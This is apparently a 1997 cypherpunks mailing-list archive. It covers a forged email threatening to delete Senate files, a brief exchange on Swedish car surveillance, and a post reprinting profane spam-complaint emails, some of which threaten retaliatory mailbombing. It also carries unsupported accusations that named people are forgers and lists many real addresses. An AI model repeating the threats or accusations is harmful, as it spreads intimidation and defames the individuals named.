ATTACK ON CP LIST >Date: Sun, 9 Feb 1997 03:55:04 -0500 >From: Linda Thompson >To: robert at iquest.net >Cc: aen-news at aen.org >Subject: URGENT > >Someone is sending THREATS to the President and Senate and using *MY* >name >and account to do it. One bounced and was sent to me. You should be >able >to find out where it came from by the message I.D. I think it is >EXTREMELY >important that you find out where this came from!! > >Also, earlier in the day, I got a message that I was subscribed by >"majordomo" to cypherpunks. I did NOT subscribe to cypherpunks and I >would >bet that whoever did THAT also sent this message. > >Here's the threat message: > >Return-Path: >Delivered-To: lindat at iquest.net >Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000 >Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1) > by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000 >Received: by fcaglp.fcaglp.unlp.edu.ar > (1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300 >Message-Id: <9702090249.AI19659 at fcaglp.fcaglp.unlp.edu.ar> >Date: Sat, 8 Feb 1997 05:12:37 -0300 >From: MAILER-DAEMON at fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem) >Subject: Returned mail: User unknown >To: lindat at iquest.net >X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e >Status: U > > ----- Transcript of session follows ----- >550 xfAA16374: line 6: vice-president at whitehouse.gov... User unknown > > ----- Unsent message follows ----- >Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP > (1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300 >Message-Id: <9702080812.AA16374 at fcaglp.fcaglp.unlp.edu.ar> >Date: Sat, 8 Feb 1997 05:12:37 -0300 >From: lindat at iquest.net >Return-Path: >Cc: Senator_Stevens at stevens.senate.gov, email at murkowski.senate.gov, > sessions at wrldnet.net, senator at shelby.senate.gov, > senator at bumpers.senate.gov, info at kyl.senate.gov, > Senator_McCain at mccain.senate.gov, senator at boxer.senate.gov, > senator at feinstein.senate.gov, sen_dodd at dodd.senate.gov, > senator_lieberman at lieberman.senate.gov, senator at biden.senate.gov, > bob_graham at graham.senate.gov, connie at mack.senate.gov, > senator_coverdell at coverdell.senate.gov, >senator at inouye.senate.gov, > tom_harkin at harkin.senate.gov, chuck_grassley at grassley.senate.gov, > larry_craig at craig.senate.gov, >dirk_kempthorne at kempthorne.senate.gov >Cc: senator at moseley-braun.senate.gov, lugar at iquest.net, > wendell_ford at ford.senate.gov, senator at mcconnell.senate.gov, > senator at breaux.senate.gov, senator at kennedy.senate.gov, > john_kerry at kerry.senate.gov, senator at mikulski.senate.gov, > senator at sarbanes.senate.gov, Olympia at snowe.senate.gov, > senator at levin.senate.gov, michigan at abraham.senate.gov, > mail_grams at grams.senate.gov, senator at wellstone.senate.gov, > john_ashcroft at ashcroft.senate.gov, kit_bond at bond.senate.gov, > senator at cochran.senate.gov, max at baucus.senate.gov, > conrad_burns at burns.senate.gov, senator at faircloth.senate.gov, > jesse_helms at helms.senate.gov >Cc: senator at conrad.senate.gov, senator at dorgan.senate.gov, >email at hagel96.com, > bob at kerrey.senate.gov, mailbox at gregg.senate.gov, > opinion at smith.senate.gov, frank_lautenberg at lautenberg.senate.gov, > torricel at torricelli.com, Senator_Bingaman at bingaman.senate.gov, > senator_domenici at domenici.senate.gov, senator at bryan.senate.gov, > senator_reid at reid.senate.gov, senator_al at damato.senate.gov, > senator at dpm.senate.gov, senator_dewine at dewine.senate.gov, > senator_glenn at glenn.senate.gov, senator at nickles.senate.gov, > senator at wyden.senate.gov, senator at santorum.senate.gov, > senator_specter at specter.senate.gov, >senator_chafee at chafee.senate.gov >Cc: reed at collegehill.com, senator at thurmond.senate.gov, > senator at hollings.senate.gov, tom_daschle at daschle.senate.gov, > senator_thompson at thompson.senate.gov, >senator_frist at frist.senate.gov, > senator at hutchison.senate.gov, senator at bennett.senate.gov, > senator_hatch at hatch.senate.gov, senator_robb at robb.senate.gov, > senator at warner.senate.gov, senator_leahy at leahy.senate.gov, > vermont at jeffords.senate.gov, senator_murray at murray.senate.gov, > Senator_Gorton at gorton.senate.gov, >russell_feingold at feingold.senate.gov, > senator_kohl at kohl.senate.gov, senator_byrd at byrd.senate.gov, > senator at rockefeller.senate.gov, mike at enzi.senate.gov, > craig at thomas.senate.gov >Reply-To: lindat at iquest.net >Return-Receipt-To: lindat at iquest.net >Comment: Authenticated sender is >Subject: message to USSA Senate > >All files on the Senate's computers will be deleted by our >gang of cypherpunks dedicated to the eradication of your systems. > > >============================================ > >Here's the message I got from the Cypherpunks list: > >Return-Path: >Delivered-To: lindat at iquest.net >Received: (qmail 12722 invoked from network); 8 Feb 1997 20:33:18 -0000 >Received: from toad.com (140.174.2.1) > by iquest3.iquest.net with SMTP; 8 Feb 1997 20:33:17 -0000 >Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id >MAA01758; >Sat, 8 Feb 1997 12:09:56 -0800 (PST) >Date: Sat, 8 Feb 1997 12:09:56 -0800 (PST) >Message-Id: <199702082009.MAA01758 at toad.com> >To: lindat at iquest.net >From: Majordomo at toad.com >Subject: Your Majordomo request results: subscribe cypherpunks >Reply-To: Majordomo at toad.com >X-UIDL: 52470737060e1f8e3e1776eae6a3d6ee > >-- > >Your request of Majordomo was: >>>>> subscribe cypherpunks >Succeeded. >Your request of Majordomo was: >>>>> >Your request of Majordomo was: >>>>> > > > >Kind regards, > >Linda Thompson > >******************** V *************************** > DEATH TO THE NEW WORLD ORDER >*************************************************** >Dr. Linda Thompson >Attorney at Law >TERRORISM INTELLIGENCE ANALYST >Chairman, American Justice Federation >Internet: lindat at iquest.net > >**************************************************** > Remember Waco. > The Murderers are still free. >**************************************************** >Have you seen this yet? > > http://206.55.8.10/SkyWriter/WacoMuseum From pagre at weber.ucsd.edu Sun Feb 9 06:34:39 1997 From: pagre at weber.ucsd.edu (Phil Agre) Date: Sun, 9 Feb 1997 06:34:39 -0800 (PST) Subject: RRE: Proposed satellite monitoring of car movements in Sweden Message-ID: <199702091434.GAA02306@weber.ucsd.edu> You have plenty of choice. If you don't like our country, move somewhere else. Phil From bdolan at USIT.NET Sun Feb 9 07:34:48 1997 From: bdolan at USIT.NET (Brad Dolan) Date: Sun, 9 Feb 1997 07:34:48 -0800 (PST) Subject: RRE: Proposed satellite monitoring of car movements in Sweden In-Reply-To: <199702091434.GAA02306@weber.ucsd.edu> Message-ID: "Love it or leave it?" bd On Sun, 9 Feb 1997, Phil Agre wrote: > You have plenty of choice. If you don't like our country, move somewhere > else. > > Phil > From dlv at bwalk.dm.com Sun Feb 9 08:20:11 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 9 Feb 1997 08:20:11 -0800 (PST) Subject: On "spammers" and "anti-spammers" In-Reply-To: Message-ID: Path: perun!dlv From: dlv at bwalk.dm.com (Dr. Dimitri Vulis) Newsgroups: news.admin.net-abuse.misc,news.admin.net-abuse.e-mail,news.groups,news.admin.misc,news.admin.censorship,alt.fan.karl-malden.nose,soc.culture.russian Subject: On "spammers" and "anti-spammers" Message-ID: Date: Sun, 09 Feb 97 10:52:06 EST Organization: Death Camp #6 Several days ago one Robert Hicks, DM Group, Direct Marketing Management, 2774 National Pkwy, Brunswick, Ohio, retained one Thomas Gallman, Telysis Communications Ltd, to do a mass e-mail for them. Unfortunately, Telesys made a small typo when sending out their mass e-mail. DM Group's domain address is "dm1.com" and our domain address is "dm.com" (no digit). That happens a lot, and not always accidentally. Malcontents like Peter da Silva, Chris Lewis of BNR.CA, John Gilmore of EFF/Cygnus Support, Ray Arachelian of Earthlink.com, Sandy Sandfart of C2Net, Peter Vorobieff of LANL.GOV, and other well-known liars and forgers intentionally forge garbage traffic on the Internet with their enemies' domain names (including ours) and later complain about their own forgeries. I was surprised by Telysis's unintentional error, but I hold no grudge against them. However as the result of their mass mailing our site has received hundreds of flames from the self-appointed net.cops, ending up in mailboxes "postmaster" and "orphan" (sent to a non-existent mailbox "freeway at dm.com"). Many such flames were also sent to PSI, our upstream site. I am fairly dissatisfied with the way PSI handled this and other incidents involving forged traffic made to look like it came from dm.com. Their lines include "we've been receiving a lot of complaints about you" (and it doesn't matter whether any complaints are true) and "if you prove that this traffic did not originate at your site, then we won't hold you responsible" and "These messages are unwelcome intrusions that violate unwritten rules of the Internet, and are strongly resented. Please confirm that you are aware of these complaints and are taking measures to stop this practice." I also noticed a sharp contrast between the polite letter send out by dm1.com (who were trying to sell something, I presume; and you don't sell anything if you're rude to prospective clients) and the obnoxious, obscene, and threatening responses the net.cops sent to our site. I will quote a selection of these complaints to illustrate the kind of abuse many ISPs are subjected to. Please observe that one of the complainers claims to have received "death threats" from a nonexistent account at our site, several others claim to have received such junk e-mail from our site before, etc. If your e-mail to dm.com is quoted below, please consider the following: If someone sends you junk e-mail, it does not make it OK to send abusive and threatening e-mail to (what you believe to be) the spammer's ISP. Please try to use better manners, even when you deal with behavior that you consider to be rude. ========================================================================== Received: from localhost (vinylot at localhost) by panix.com (8.8.5/8.7/PanixU1.3) with SMTP id PAA18512; Thu, 6 Feb 1997 15:19:07 -0500 (EST) Date: Thu, 6 Feb 1997 15:19:07 -0500 (EST) From: Vinylot To: freeway at dm.com Cc: vinylot at panix.com, postmaster at dm.com Subject: DEATH THREAT In-Reply-To: Message-Id: Hey assholes why dont you configure yer fuckin spam properly so that when we try to remove ouselves from the list we don't get even more unwanted email you scumbags ========================================================================== Received: from localhost (vinylot at localhost) by panix.com (8.8.5/8.7/PanixU1.3) with SMTP id VAA23841; Thu, 6 Feb 1997 21:32:23 -0500 (EST) Date: Thu, 6 Feb 1997 21:32:23 -0500 (EST) From: Vinylot To: postmaster at bwalk.dm.com, postmaster at dm.com Cc: vinylot at panix.com Subject: In re: "Death Threat" *and* "Returned mail (fwd)" Message-Id: I see your customer has made themselves unreachable via email, in addition to sending out extremely annoying spam... I'm just sending this note to let u know that I *am not* making any death threats. Vinylot ========================================================================== Received: (from semmett at localhost) by adams.patriot.net (8.7.4/8.7.3) id LAA11132; Thu, 6 Feb 1997 11:10:04 -0500 Date: Thu, 6 Feb 1997 11:10:03 -0500 (EST) From: Steve Emmett To: freeway at 206.222.107.196, postmaster at telysis.com, abuse at telysis.com postmaster at telysis3.telysis.com, abuse at telysis3.telysis.com, freeway at dm.com Cc: Steve Emmett Subject: Re: FREE OFFER !! In-Reply-To: Message-Id: I just sent you a rejection before realizing that YOU have already spammed me and I have already given you a previous notice (28 January 1997). Therefore, since you have SPAMMED me again, you have accepted the terms of my licencing agreement you previously received from me - to wit, each subsequent use (including this most recent one) are now subject to a $1000 per-use fee. You have failed to provide a valid US Postal Address as required by the licence. You will immediately provide the address so that I can send you a bill. Violation of this license agreement is cause for civil suit. You are now on notice to immediately comply with the terms of the licensing agreement. ========================================================================== Received: by tfs.com (smail3.1.28.1) Message-Id: Date: Thu, 6 Feb 97 10:43 PST From: hiha at TFS.COM (Harry Iha) To: freeway at 206.222.107.196, freeway at dm.com Subject: Re: FREE OFFER !! Cc: admin at 206.222.107.196, admin at dm.com, admin at dm1.com, hiha at TFS.COM, postmaster at 206.222.107.196, postmaster at dm.com, postmaster at dm1.com This is the second instance of this unsolicited, commercial e-mail I've received. The first was from Freeway4 at dm1.com, the second, identical message from what appears to be the same user. Both times, I've responded, as instructed, to be removed from this user's mailing list. Please remove me from your current mailing list, and do not include me in future lists. Thank you for your cooperation. hiha at tfs.com ========================================================================== Received: from bubbas.vnet.net (vts-cat1-s1.vnet.net [166.82.120.221]) by jazzmin.vnet.net (8.7.6/8.7.3) with SMTP id IAA16984; Thu, 6 Feb 1997 08:52:06 -0500 (EST) Message-Id: <1.5.4.32.19970206134940.0066f5f4 at pop.vnet.net> Date: Thu, 06 Feb 1997 08:49:40 -0500 To: freeway at dm.com, postmaster at dm.com, abuse at dm.com, admin at dm.com From: Brantley Smith Subject: FREE OFFER !!/ *GET A LIFE*!! Please do something to stop this spammer. This is the second message I've recieved from this dude. The whole message is below. ========================================================================== Received: from ioceram.jetcity.com (annex01-06.jetcity.com [204.201.228.106]) by jetcity.com (8.7.5/8.7.3) with SMTP id OAA21385; Thu, 6 Feb 1997 14:47:53 -0800 Message-Id: <199702062247.OAA21385 at jetcity.com> Comments: Authenticated sender is From: "Bryce Conner" Organization: Procrastinate Later To: postmaster at 206.222.107.196, postmaster at dm.com Date: Thu, 6 Feb 1997 14:47:43 +0000 Subject: (Fwd) FREE OFFER !!: I want these mailings to stop immediately Reply-To: stars at jetcity.com Cc: bryce at jetcity.com This user has repeatedly sent me unsolicited advertising, even after I requested that they stop. I consider this a clear example of harrassment and net abuse. I request that you warn your customer or take the proper diciplinary action. This kind of activity (SPAMMING) is extremely frowned upon by the net in general, and one request to this person should be enough for them to remove me from their mailing list, especially since I did not request to be on it in the first place. Often this will result in the removal of the account in question. I promised to follow up with this action if they repeated, and so here it is. I would apprecate a reply to this email within 1 week. Sincerely, Bryce Conner ========================================================================== Received: (from nuucp at localhost) by gateway.ycrdi.com (8.7.3/8.6.12) id KAA13226; Thu, 6 Feb 1997 10:49:14 -0500 (EST) From: ralph_muha at ycrdi.com (Ralph Muha) Reply-To: ralph_muha at ycrdi.com To: postmaster at dm.com, postmaster at telysis.com Subject: Fwd: FREE OFFER !! Date: 06 Feb 1997 15:54:01 GMT Message-Id: <649199615.3797450 at ycrdi.com> Organization: Young Chang R & D Institute please keep this crap out of my mailbox! ========================================================================== Received: from koko (unverified [202.128.5.10]) by www.latte.net (EMWAC SMTPRS 0.83) with SMTP id ; Fri, 07 Feb 1997 00:42:38 +1000 Message-Id: Comments: Authenticated sender is From: "Alex Fields" Organization: Latte Net Communications To: postmaster at dm.com Date: Fri, 7 Feb 1997 00:53:45 +10 Subject: (Fwd) Delivery failure tell this asshole to take me off his GD list. thank you. alex fields ========================================================================== Received: from nwlink.com (ip061.tu1.nwlink.com [206.129.228.61]) by montana.nwlink.com (8.8.5/8.7.3) with SMTP id IAA02282; Thu, 6 Feb 1997 08:48:39 -0800 (PST) From: Steve Greenfield To: freeway at 206.222.107.196, freeway at dm.com, postmaster at dm.com postmaster at 206.222.107.196, postmaster at dm1.com Date: Thu, 06 Feb 1997 08:49:10 +0500 Message-Id: Organization: Polymorph Digital Photography and Electronics Subject: Please read and respond I recieved the following unsolicited Email today. Please take the appropriate action. I am sick and tired of receiving multiple "junk" emails every day, despite the fact that my signature always includes info indicating that I do not welcome them, and in fact will not do business with anyone who does business this way. -- Steve Greenfield redbeard at nwlink.com If you don't want my business, go ahead and junk Email. If you never want income from me, go ahead and spam. ========================================================================== Received: from gabubba.paradise.net (gabubba at adial095.paradise.net [205.216.68.95]) by q.paradise.net (8.7/8.6.12) with SMTP id MAA21198; Thu, 6 Feb 1997 12:18:13 -0500 Message-Id: <2.2.32.19970206171705.006d71c4 at paradise.net> Date: Thu, 06 Feb 1997 12:17:05 -0500 To: postmaster at 206.222.107.196, postmaster at dm.com, postmaster at dm1.com From: Bubba Subject: Re: FREE OFFER !! Dear Postmaster, I received the following unsolicited e-mail, please ensure that this person no longer sends unsolicited e-mail. If I receive another message from this user, I will refer it to the proper autorities for investigation as an illegl scam. Bubba "bubba69" or "BearPiss" on IRC, Atlanta, Georgia, USA 40 year old, big ol' cub's face fuckin', cigar smokin' tattooed leather top daddy bear, 6'2", 240#, 38" 501's, blue eyes, furry, BUSHY greying beard and 'stache, flags left black, red, and yellow, in Atlanta, GA If you enjoy bearcodes: B8 f+ t+ w+ d+ g++ k++ ========================================================================== Received: by ip143.van5.pacifier.com with Microsoft Mail id <01BC142A.585245A0 at ip143.van5.pacifier.com>; Thu, 6 Feb 1997 12:36:16 -0800 Message-Id: <01BC142A.585245A0 at ip143.van5.pacifier.com> From: Tony Foulke To: "'B0000010411 at telysis3.telysis.com'" , "'freeway at 206.222.107.196'" , "'freeway at dm.com'" Subject: RE: FREE OFFER !! Date: Thu, 6 Feb 1997 12:36:11 -0800 This is a formal notice that bulk email is NOT to be sent to tonyf at pacifier.com It is not wanted. Any UCE coming from you or any clients of yours will be considered harassment. Not only will a bill for my service charge of $250 be received by you, but a criminal complaint will be filed as well. COMMERCIAL EMAIL IS NOT WANTED AT THIS ACCOUNT OR ANY OTHER ACCOUNT HELD BY ANTHONY FOULKE. This is your ONLY notice. --Anthony Foulke -- All unsolicited commercial e-mail coming to this account is subject to a service charge of $250 per piece of mail. Sending any UCE to this account constitutes acceptance of these terms. ========================================================================== Received: from localhost (snakeman at localhost) by thecore.com (8.7.1/8.7.1) with SMTP id SAA00892 for ; Thu, 6 Feb 1997 18:22:58 -0500 (EST) Date: Thu, 6 Feb 1997 18:22:58 -0500 (EST) From: snakeman To: root at dm.com Subject: FREE OFFER !! (fwd) Message-Id: If you do not wish your mailbox to be flooded with complaints, and, possibly, unix kernels - please take the appropriate action with the below user who is spamming mailboxes. Any further posts from that user will result in a campaign on Usenet to ban your site. ========================================================================== Received: from h.m.ginsberg.worldnet.att.net ([207.146.7.96]) by mtigwc01.worldnet.att.net (post.office MTA v2.0 0613 ) with SMTP id AAA28725; Thu, 6 Feb 1997 21:45:53 +0000 Message-Id: <32FA50AF.4AAB at worldnet.att.net> Date: Thu, 06 Feb 1997 16:44:15 -0500 From: "Howard M. Ginsberg" Organization: Amateur Radio Operator W1HG/4 To: freeway at 206.222.107.196 Cc: postmaster at telysis.com, freeway at dm.com Subject: Re: FREE OFFER !! References: PLEASE IMMEDIATELY REMOVE ME FROM YOUR MAILING LIST. ANY FURTHER E-MAILS FROM YOU WILL RESULT IN THE AUTOMATIC GENERATION OF A MINIMUM OF 10,000+ E-MAILS TO YOU ON A DAILY BASIS. THANK YOU FOR YOUR IMMEDIATE COOPERATION. ========================================================================== Received: from localhost (8.8.4/8.8.4) with ESMTP id JAA16508; Thu, 6 Feb 1997 09:36:27 -0500 To: freeway@[206.222.107.196] Cc: postmaster at dm.com, psinet-domain-admin at PSI.COM, hostinfo at PSI.COM, domain-fee-contact at PSI.COM, postmaster at TELYSIS.COM Subject: JUNK: FREE OFFER !! (REMOVE DELETE UNSUBSCRIBE UN-SUBSCRIBE) In-Reply-To: Message of "Sun, 28 Jan 1996 08:17:36 EST" Date: Thu, 06 Feb 1997 09:36:26 -0500 Message-Id: <16506.855239786 at interlog.com> From: John R MacMillan Please remove me from your junk mailing list. If you are not the originator of this message, you may wish to know that a spammer is making use of your mail system. ISPs please consider having an ``Acceptable Use'' policy that forbids spamming. This junk mail appears to be from: freeway at 206.222.107.196 To a junk mailing list maintained by: freeway at dm.com And appears to have been injected into the mail system at: telysis3.telysis.com Accordingly, the following addresses have been notified: freeway@[206.222.107.196] postmaster at dm.com psinet-domain-admin at PSI.COM hostinfo at psi.com domain-fee-contact at PSI.COM postmaster at TELYSIS.COM Further mail from freeway at 206.222.107.196 will be automatically forwarded to the above addresses, and possibly to sites that maintain lists of abusive spammers. Mail from this address WILL NOT BE SEEN BY ME. This is an automated message. ========================================================================== Received: from BHeaton (dtp01-21.txdirect.net [204.57.92.245]) by legend.txdirect.net (8.8.5/8.8.3) with SMTP id KAA18681; Thu, 6 Feb 1997 10:06:02 -0600 (CST) Date: Thu, 6 Feb 1997 10:06:02 -0600 (CST) Message-Id: <199702061606.KAA18681 at legend.txdirect.net> From: Brian D Heaton Subject: Re: FREE OFFER !! -- SPAM To: freeway at 206.222.107.196, freeway at dm.com, postmaster at telysis.com Cc: abuse at psi.net, abuse at psi.com, postmaster at psi.net, postmaster at psi.com Sirs, Remove me from all mailings managed by you company immediately. This is my second request. Any further mailings from your organization will result in further action. PSI - This network abuser is a client of your service. I would appreciate a notification of the action taken agains this organization. BDH ========================================================================== Received: from [207.8.3.19] by jump.net (8.8.4/BERK-6.8.11) id UAA08328; Thu, 6 Feb 1997 20:19:18 -0600 (CST) Message-Id: Date: Thu, 6 Feb 1997 20:29:47 -0600 To: freeway at 206.222.107.196, freeway at dm.com From: netminder at jump.net (ERic V & Lisa S) Subject: Re: FREE OFFER !! Cc: postmaster at 206.222.107.196 I don't want any free stuff. In fact, I'm quite put out that I'm getting this junk. I'm copying your postmaster on the off chance that it's not you, on the hopes that you'll get a stern talking to or perhaps even removal from your service. Spamming like this is VERY frowned upon. It appears (as I've now received several of these 'type REMOVE' type messages) that someone is selling my email address. I would appreciate, if that is the case, that you send me their name and/or number and/or email address so that I can let them know personally my feelings. I also recommend, if that is indeed the case, that you contact the BBB and your State Comptroller and see what can be done about capturing the charlatans. Good luck with the barrage of nasty messages you're about to receive. ERic ========================================================================== Received: (from egburr at localhost) by kiowa.wildstar.net (8.8.3/8.7.3) id IAA21628; Fri, 7 Feb 1997 08:53:09 -0600 From: Edward Burr Message-Id: <199702071453.IAA21628 at kiowa.wildstar.net> Subject: ABUSE (was: FREE OFFER !!) To: freeway at 206.222.107.196, root at 206.222.107.196, postmaster at 206.222.107.196 abuse at 206.222.107.196, twalton at ACSI.NET, postmaster at TELYSIS.COM, psinet-domain-admin at PSI.COM, info at DM1.COM, root at CLEVER.NET, root at ACSI.NET, postmaster at ACSI.NET, abuse at ACSI.NET Date: Fri, 7 Feb 1997 08:53:09 -0600 (CST) Cc: root at TELYSIS.COM, postmaster at TELYSIS.COM, abuse at TELYSIS.COM, root at dm.com, postmaster at dm.com, abuse at dm.com, root at DM1.COM, postmaster at DM1.COM, abuse at DM1.COM In-Reply-To: from "freeway at 206.222.107.196" at Jan 28, 96 08:17:40 am Dear junk email spammer, please REMOVE ME FROM YOUR MAILING LIST IMMEDIATELY. I charge for reading unsolicited email advertising. I did not sign up for this, and I should not have to request to not be made a victim of this. I have a limited amout of disk space available to me, and your junk email is wasting some of it. By the way, you really need to fix your clock; the current year is 1997. POSTMASTER/SYSADMIN: Please archive this notice in case I need proof that I sent it and it was received at your site. Thank you. ACSI.NET You are the last nameserved host along the route to the originating IP address of this spam. TELYSIS.COM You are the originating mail server. DM.COM (PSI.COM) You are who this spam is supposedly TO; this indicates you are probably being used as a mail list forwarder. DM1.COM (CLEVER.NET) You are hosting this spammer's web site. (offending junk email spam below...) --/Edward Burr/-------------------+---------------------------------- | Senior, Science Education, OU | Use of my e-mail address or URL | | egburr at wildstar.net | is restricted. Visit my home | | http://www.wildstar.net/~egburr | page for details. | \ / \ / \ Unless otherwise noted, all opinions here are solely my own./ ========================================================================== Received: from vfg-pa1-10.ix.netcom.com (vfg-pa1-10.ix.netcom.com [205.184.1.42]) by dfw-ix2.ix.netcom.com (8.6.13/8.6.12) with SMTP id XAA13579 for ; Thu, 6 Feb 1997 23:49:17 -0800 From: ISCHLANG at IX.NETCOM.COM To: postmaster at dm.com Subject: LEGAL WARNING Date: Fri, 07 Feb 1997 06:48:17 GMT Message-Id: <32fecec9.1097207 at smtp.ix.netcom.com> Dear Postmaster, On two other occasions I have requested to be removed from your clients list, yet I am still receiving unsolicited email advertising from them. This is in direct violation of US CODE TITLE 47 under which I may collect 500 dollars for each occurrence. Please look into this and get back to me prior to my filing charges against you and your client for this continued harassment. ========================================================================== Received: (from hazmat at localhost) by nsa.ecosoft.com (8.8.3/8.8.3) id JAA02044; Thu, 6 Feb 1997 09:17:22 -0500 (EST) From: Ken W Message-Id: <199702061417.JAA02044 at nsa.ecosoft.com> Subject: Re: FREE OFFER !! To: freeway at 206.222.107.196, postmaster at telysis.com, postmaster at dm1.com Date: Thu, 6 Feb 1997 09:17:22 -0500 (EST) Cc: freeway at dm.com In-Reply-To: from "freeway at 206.222.107.196" at Jan 28, 1996 08:23:34 AM This is a spam is is hopefully grounds for immediate termination of your account. People like you make the Internet a place that is not very fun anymore. -- hazmat at shore.net http://www.shore.net/~hazmat Shore.Net Web Administration webmaster at shore.net http://www.shore.net/ "...and the number of the beast is vivivi...." ========================================================================== Received: from [206.80.13.141] (sfmax2-141.ppp.wenet.net [206.80.13.141]) by mom.hooked.net (8.8.0/8.7.3) with ESMTP id NAA20127 for ; Thu, 6 Feb 1997 13:13:34 -0800 (PST) X-Sender: acates at mailhost.hooked.net Message-Id: Date: Thu, 6 Feb 1997 13:12:19 -0800 To: postmaster at dm.com From: Alden Cates Subject: "FREE OFFER !!" Junk e-mail I tried to remove myself from this listing but I can't!! I did NOT signup to be on this list and I don't want this tye of crap in my e-mail box. I got a message saying that the address my "REMOVE: e-mail went to did not get there. I recently got this e-mail: ========================================================================== Received: from RICHARD.COMP-UNLTD.COM (richard.comp-unltd.com [204.212.166.234]) by cu.imt.net (8.7.3/8.6.12) with ESMTP id IAA12115; Thu, 6 Feb 1997 08:28:34 -0700 (MST) Message-Id: <199702061528.IAA12115 at cu.imt.net> From: "Richard Barndt" To: Cc: Subject: REMOVE Date: Thu, 6 Feb 1997 08:30:42 -0700 Offense under US code Title 47, Sec 227(b) (1) (C) I have recently received UNSOLICITED and UNWANTED junk e-mail from an individual who appears to be using your site. A copy of that mail is attached herewith. Junk Mail is now regarded as the same as unwanted and unsolicited junk faxes and telemarketing calls - all of which are now ILLEGAL under US federal law: By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer meets the definition of a telephone fax machine. By Sec.227(b) (1)(C), it is unlawful to send any unsolicited advertisement to such equipment, punishable by action to recover actual monetary loss, or $500, whichever is greater, for EACH violation. Please ensure this is stopped NOW. You have been put on notice. If you confirm to me promptly that effective action has been taken against those persons responsible, I will not take the matter further on this occasion. If you do not provide me with such confirmation in a timely manner, or if ANY further UNSOLICITED or UNWANTED junk mail should be received from your site, I will instruct my attorney to issue a writ WITHOUT FURTHER NOTICE, and the matter will then be pursued under federal law. I will separately notify your upstream providers as they may also be liable for violations originating from your site. ========================================================================== Received: from lawr40.static.usit.net (lawr40.static.usit.net [199.1.57.110]) by SMTP.USIT.NET (8.7.5/8.6.12) with SMTP id BAA14481; Fri, 7 Feb 1997 01:27:48 -0500 (EST) From: sstutts at usit.net (THE Lone Wolf) To: 206.222.107.196 at abuse.networks.net, B0000008256 at telysis3.telysis.com dm.com at abuse.networks.net, freeway at 206.222.107.196, freeway at dm.com, postmaster@[206.222.107.196], postmaster at dm1.com, postmaster at telysis3.telysis.com, telysis3.telysis.com at abuse.networks.net Subject: Offence under US code Title 47, Sec 227(b) (1) (C) Date: Fri, 07 Feb 1997 06:15:55 GMT Message-Id: <32fec88e.867280 at smtp.usit.net> I have recently received UNSOLICITED and UNWANTED junk e-mail from an individual who appears to be using your site. A copy of that mail is attached herewith. Junk Mail is now regarded as the same as unwanted and unsolicited junk faxes and telemarketing calls - all of which are now ILLEGAL under US federal law: By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer meets the definition of a telephone fax machine. By Sec.227(b) (1)(C), it is unlawful to send any unsolicited advertisement to such equipment, punishable by action to recover actual monetary loss, or $500, whichever is greater, for EACH violation. Please ensure this is stopped NOW. You have been put on notice. If you confirm to me promptly that effective action has been taken against those persons responsible, I will not take the matter further on this occasion. If you do not provide me with such confirmation in a timely manner, or if ANY further UNSOLICITED or UNWANTED junk mail should be received from = your site, I may instruct my attorney to issue a writ WITHOUT FURTHER NOTICE, and the matter will then be pursued under federal law. I will separately notify your upstream providers as they may also be liable for violations originating from your site. ========================================================================== Received: from gregspc (isabella-57.pagesz.net [208.194.157.57]) by pagesz.net (8.8.5/8.7.3) with SMTP id UAA08671; Thu, 6 Feb 1997 20:07:09 -0500 Message-Id: <32FA7D27.63AE at pagesz.net> Date: Thu, 06 Feb 1997 19:53:59 -0500 From: Gregory Boop To: 206.222.107.196 at abuse.networks.net, abuse at 206.222.107.196, abuse at dm.com abuse at dm1.com, abuse at telysis.com, abuse at telysis3.telysis.com, B0000008256 at telysis3.telysis.com, dm.com at abuse.networks.net, freeway at 206.222.107.196, freeway at dm.com, postmaster at 206.222.107.196, postmaster at dm.com, postmaster at dm1.com, postmaster at telysis.com, postmaster at telysis3.telysis.com, telysis3.telysis.com at abuse.networks.net Subject: Offence under US code Title 47, Sec 227(b) (1) (C) I have recently received UNSOLICITED and UNWANTED junk e-mail from an individual who appears to be using your site. A copy of that mail is attached herewith. Junk Mail is now regarded as the same as unwanted and unsolicited junk faxes and telemarketing calls - all of which are now ILLEGAL under US federal law: By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer meets the definition of a telephone fax machine. By Sec.227(b) (1)(C), it is unlawful to send any unsolicited advertisement to such equipment, punishable by action to recover actual monetary loss, or $500, whichever is greater, for EACH violation. Please ensure this is stopped NOW. You have been put on notice. If you confirm to me promptly that effective action has been taken against those persons responsible, I will not take the matter further on this occasion. If you do not provide me with such confirmation in a timely manner, or if ANY further UNSOLICITED or UNWANTED junk mail should be received from your site, I will instruct my attorney to issue a writ WITHOUT FURTHER NOTICE, and the matter will then be pursued under federal law. I will separately notify your upstream providers as they may also be liable for violations originating from your site. ========================================================================== Received: from kohn-b (cnc129043.concentric.net [206.173.9.43]) by newman.concentric.net (8.8.5/(97/01/29 1.12)) id IAA26653; Fri, 7 Feb 1997 08:01:05 -0500 (EST) [1-800-745-2747 The Concentric Network] Message-Id: <199702071301.IAA26653 at newman.concentric.net> Reply-To: From: "Brian Charles Kohn" To: Subject: Fw: FREE OFFER !! Date: Fri, 7 Feb 1997 07:00:31 -0600 Please note that your subscriber "freeway" is sending out unsolicited commercial solicitations. Besides the legal issues, it is not appreciated. Please address this issue with your subscriber. ========================================================================== Received: (from larry at localhost) by casper.tvinet.com (8.8.4/8.8.2) id QAA26259; Thu, 6 Feb 1997 16:51:18 -0800 (PST) Date: Thu, 6 Feb 1997 16:51:16 -0800 (PST) From: Larry Phillips To: freeway at 206.222.107.196, root at 206.222.107.196, postmaster at 206.222.107.196 Cc: freeway at dm.com, root at dm.com, postmaster at dm.com Subject: Re: FREE OFFER !! In-Reply-To: Message-Id: Bugger off ========================================================================== Received: from frankenputer (pmnet02-08.austin.texas.net 